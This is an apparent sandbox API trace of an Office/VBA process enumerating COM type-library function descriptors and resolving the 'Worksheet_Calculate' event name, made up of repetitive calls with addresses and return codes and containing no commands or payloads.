	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x41, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x42, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x43, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x44, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x45, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x46, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x47, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x48, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x49, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x4a, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x4b, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x4c, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x4d, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x4e, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x4f, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x50, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x51, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x52, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x53, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x54, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x55, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x56, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x57, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x58, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x59, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.946] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.946] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x5a, ppFuncDesc=0x27e5f8, pDummy=0x3ff0 | out: ppFuncDesc=0x27e5f8, pDummy=0x3ff0) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x5b, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x5c, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x5d, ppFuncDesc=0x27e5f8, pDummy=0x3ff0 | out: ppFuncDesc=0x27e5f8, pDummy=0x3ff0) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x5e, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x5f, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x60, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x61, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x62, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x63, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x64, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x65, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x66, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x67, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x68, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x69, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x6a, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x6b, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x6c, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x6d, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x6e, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x6f, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x70, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.947] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x71, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.947] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x72, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x73, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x74, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x75, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x76, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x77, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x78, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x79, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x7a, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x7b, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x7c, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x7d, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x7e, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x7f, ppFuncDesc=0x27e5f8, pDummy=0x3ff0 | out: ppFuncDesc=0x27e5f8, pDummy=0x3ff0) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x80, ppFuncDesc=0x27e5f8, pDummy=0x3ff0 | out: ppFuncDesc=0x27e5f8, pDummy=0x3ff0) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x81, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x82, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x83, ppFuncDesc=0x27e5f8, pDummy=0x3ff0 | out: ppFuncDesc=0x27e5f8, pDummy=0x3ff0) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.948] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x84, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.948] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.949] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x85, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.949] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.949] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x86, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.949] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.949] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x87, ppFuncDesc=0x27e5f8, pDummy=0x3ff0 | out: ppFuncDesc=0x27e5f8, pDummy=0x3ff0) returned 0x0
	[0055.949] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.949] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x88, ppFuncDesc=0x27e5f8, pDummy=0x3ff0 | out: ppFuncDesc=0x27e5f8, pDummy=0x3ff0) returned 0x0
	[0055.949] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.949] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x89, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.949] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.949] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x8a, ppFuncDesc=0x27e5f8, pDummy=0x3ff0 | out: ppFuncDesc=0x27e5f8, pDummy=0x3ff0) returned 0x0
	[0055.949] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.949] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x8b, ppFuncDesc=0x27e5f8, pDummy=0x3ff0 | out: ppFuncDesc=0x27e5f8, pDummy=0x3ff0) returned 0x0
	[0055.949] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.949] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x8c, ppFuncDesc=0x27e5f8, pDummy=0x3ff0 | out: ppFuncDesc=0x27e5f8, pDummy=0x3ff0) returned 0x0
	[0055.949] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.949] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x8d, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.949] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.949] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x8e, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.949] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.949] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x8f, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.949] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.949] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x90, ppFuncDesc=0x27e5f8, pDummy=0x3ff0 | out: ppFuncDesc=0x27e5f8, pDummy=0x3ff0) returned 0x0
	[0055.949] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.949] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x91, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.949] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.949] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x92, ppFuncDesc=0x27e5f8, pDummy=0x3ff0 | out: ppFuncDesc=0x27e5f8, pDummy=0x3ff0) returned 0x0
	[0055.949] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.949] IUnknown:QueryInterface (in: This=0xbb2bb30, riid=0x7fee61040f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27e618 | out: ppvObject=0x27e618*=0xbb2bb30) returned 0x0
	[0055.949] ITypeInfo2:GetCustData (in: This=0xbb2bb30, GUID=0x7fee610d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x27e628 | out: pVarVal=0x27e628*(varType=0x0, wReserved1=0x0, wReserved2=0x92, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0
	[0055.949] IUnknown:Release (This=0xbb2bb30) returned 0x2
	[0055.949] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bb30, memid=-1, refPtrFlags=0x27e620, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0055.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Worksheet", cchWideChar=10, lpMultiByteStr=0x27e530, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Worksheet", lpUsedDefaultChar=0x0) returned 10
	[0055.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet") returned 0x10fec1
	[0055.950] IUnknown:QueryInterface (in: This=0xbb2bc38, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27e5d0 | out: ppvObject=0x27e5d0*=0x0) returned 0x80004002
	[0055.950] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb2bc38, ppTypeAttr=0x27e5f8, pDummy=0x10 | out: ppTypeAttr=0x27e5f8, pDummy=0x10) returned 0x0
	[0055.950] ITypeInfo:LocalReleaseTypeAttr (This=0xbb2bc38) returned 0x0
	[0055.950] IMalloc:Realloc (This=0x7feffc15380, pv=0xbfa4950, cb=0x62) returned 0xbf13420
	[0055.950] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=279, refPtrFlags=0x27e9b0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6000000002 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6000000002) returned 0x0
	[0055.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Calculate", cchWideChar=10, lpMultiByteStr=0x27ea00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Calculate", lpUsedDefaultChar=0x0) returned 10
	[0055.950] _mbscpy_s (in: _Dst=0x27e850, _DstSizeInBytes=0x14, _Src=0x685041a | out: _Dst=0x27e850) returned 0x0
	[0055.950] _mbscpy_s (in: _Dst=0x27e85a, _DstSizeInBytes=0xa, _Src=0x27ea00 | out: _Dst=0x27e85a) returned 0x0
	[0055.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Calculate") returned 0x106574
	[0055.951] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
